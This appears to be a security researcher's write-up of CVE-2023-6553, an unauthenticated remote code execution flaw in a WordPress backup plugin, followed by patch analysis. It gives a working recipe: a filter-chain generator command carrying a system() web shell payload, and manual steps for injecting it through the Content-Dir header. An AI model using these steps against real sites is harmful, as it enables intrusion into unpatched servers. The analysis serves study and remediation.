Introduction

The case study focuses on the CVE-2023–6553 vulnerability, discovered by the NEX Team, which exploits the WordPress Backup Migration plugin for version 1.3.7 and below. The CVSS score is 9.8, making this flaw critical for the target software. It provides an opportunity for unauthenticated remote code execution.

The problem can be traced back to an LFI flaw, which can be leveraged further to achieve a complete RCE via PHP filters.

Within this case study, we will look into how the flaw works internally and explore the data flow in terms of user input processing, reaching the vulnerable sink, and finally leading to code execution.

Target Overview

The Backup Migration plugin by BackupBliss is a WordPress plugin designed to facilitate website backups, restoration, and migration. It provides functionality such as scheduled backups and data transfer between environments.

From a security perspective, the plugin exposes an attack surface through its internal request handling mechanisms, within the file:

/wp-content/plugins/backup-backup/includes/backup-heart.php

This file processes incoming requests and utilizes user-controlled input to construct file paths. Due to insufficient validation and sanitization, this behavior introduces a Local File Inclusion (LFI) vulnerability.

An attacker can manipulate this input to control the included file path, which under certain conditions can be escalated to Remote Code Execution (RCE) through techniques such as PHP filter chain abuse.

Discovery and Analysis

Source Point Identification

The vulnerability originates in the file:

/wp-content/plugins/backup-backup/includes/backup-heart.php

At the top of this file, the code checks whether the getallheaders() function is available and, if so, uses it to populate a $fields array from all incoming HTTP request headers:

if (isFunctionEnabled('getallheaders')) {
    $fields = getallheaders();
}

getallheaders() is an alias for apache_request_headers() and returns an associative array of every header in the HTTP request — meaning all header values are entirely attacker-controlled.

Constant Initialization from Headers

The code then uses these header values to define several PHP constants:

define('ABSPATH', $fields['content-abs']);
define('WP_CONTENT_DIR', $fields['content-content']);
define('BMI_CONFIG_DIR', $fields['content-configdir']);
define('BMI_BACKUPS', $fields['content-backups']);
define('BMI_ROOT_DIR', $fields['content-dir']);
define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
define('BMI_SAFELIMIT', intval($fields['content-safelimit']));

The critical line here is:

define('BMI_ROOT_DIR', $fields['content-dir']);
define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
None

The content-dir header value flows directly into BMI_ROOT_DIR, which is then concatenated with the string includes to form BMI_INCLUDES. No sanitization or validation is performed at any point.

The Vulnerable Sink

Further down in the file, within a try block, the constant reaches a require_once call:

    require_once BMI_INCLUDES . '/bypasser.php';
None

This is the vulnerable sink. The final included path is constructed as:

{content-dir header value} + "includes" + "/bypasser.php"

Data Flow Summary

Step Value Attacker sends header Content-Dir: hello/ BMI_ROOT_DIR hello/ BMI_INCLUDES hello/includes Final require_once path hello/includes/bypasser.php

This is a classic Local File Inclusion (LFI) vulnerability — attacker-controlled input reaches a file inclusion function without sanitization.

None

Why Direct LFI is Limited

A naive exploitation attempt (e.g., pointing content-dir to a known sensitive file) is blocked by the appended suffix includes/bypasser.php. Since modern PHP versions have removed null byte (%00) support in file paths, the traditional null-byte truncation technique is not viable here.

This shifts the exploitation strategy to PHP Filter Chains.

Exploitation via PHP Filter Chain

Concept

PHP's php://filter stream wrapper allows chaining multiple transformations on a data stream. By chaining iconv encoding transformations with base64-decode operations, it's possible to construct a filter chain that generates arbitrary PHP code at runtime — without needing to write any file to disk.

The key insight is that php://temp can serve as an in-memory resource. When a crafted filter chain is passed to require_once, the output of the chain is interpreted and executed as PHP code, achieving Remote Code Execution (RCE).

Reference: Synacktiv's PHP Filter Chain research

Generating the Payload

Using the php_filter_chain_generator:

python php_filter_chain_generator.py --chain '<?php system($_POST[0]); ?>'

This generates a long filter chain string starting with:

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...
/resource=php://temp

At runtime, PHP processes these chained transformations and produces the payload:

<?php system($_POST[0]); ?>

which is then executed by the PHP engine.

Manual Exploitation Steps

  1. Navigate to the plugin endpoint:
  • /wp-content/plugins/backup-backup/includes/backup-heart.php

2. The file enforces POST-only access:

  // Allow only POST requests
  if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    exit;
  }

3. Change the request method to POST in Burp Suite.

4. Add the Content-Dir header with the generated filter chain as its value.

5. Send a POST parameter 0 with the OS command to execute (e.g., id, whoami).

None

Note: The response from backup-heart.php does not return command output directly, since the file doesn't echo responses. Command execution can be confirmed via time-based techniques (e.g., sleep 10) or by uploading a dedicated webshell.

Automated Exploitation

I developed it's full exploit script automates the above process and provides a stable webshell shell by:

None
  1. Sending the filter chain to trigger RCE
  2. Using that RCE to upload a PHP webshell to a web-accessible path
  3. Providing a cleaner way for command execution

The script also includes a --check flag to safely verify whether a target is vulnerable without executing any commands, and formats output using rich tables for readability.

Patch Analysis

Here's the Patch provided by official developers.

https://plugins.trac.wordpress.org/changeset?old_path=/backup-backup/tags/1.3.7/includes/backup-heart.php&old=3502837&new_path=/backup-backup/tags/1.3.8/includes/backup-heart.php&new=3502837

Analzing this Patch reveals that they included a security check function which they used on other headers too including the vulnerable header Content-Dir

  30  
  31   // Filter and prevent PHP filter injection
  32   function filterChainFix($content) {
  33    
  34     // Make sure it exist and is string
  35     if (!is_string($content)) die("Incorrect parameters.");
  36    
  37     // Check if it's not larger than max allowed path length (default systems)
  38     if (strlen($content) > 256) die("Incorrect parameters.");
  39    
  40     // Check if the path does not contain "php:"
  41     if (strpos($content, "php:")) die("Incorrect parameters.");
  42    
  43     // Check if the path contain "|", it's not possible to use this character with our backups paths
  44     if (strpos($content, "|")) die("Incorrect parameters.");
  45    
  46     // Check if the directory/file exist otherwise fail
  47     if (!(is_dir($content) || file_exists($content))) die("Incorrect parameters.");
  48    
  49     // Return correct content
  50     return $content;
  51    
  52   }

It looks secure, first checking the content is it string or not then length check because filterchains are usually too lengthy on 3rd check it's checking that the string doesn't contain php:// checking if the value contains | or not then final check is directory exist or not then it will return the value

62     define('BMI_ROOT_DIR', $fields['content-dir']); // OLD and unsanitized
  85   define('BMI_ROOT_DIR', filterChainFix($fields['content-dir'])); // Patched and sanatized
118       require_once BMI_INCLUDES . '/bypasser.php'; // OLD and Vulnerable to LFI to RCE using PHP Filter Chain
  141     require_once filterChainFix(BMI_INCLUDES) . '/bypasser.php'; // Patched using sanatization function which prevents Attackers to input malicious LFI payload

then the filterChainFix checking function is implemented on headers too like content-abs

Remediation

The root cause is the absence of any validation on HTTP header values before they are used in file inclusion. The fix, released in version 1.3.8, moves these values away from attacker-controlled headers and adds strict path validation. Users should update to 1.3.8 or later immediately.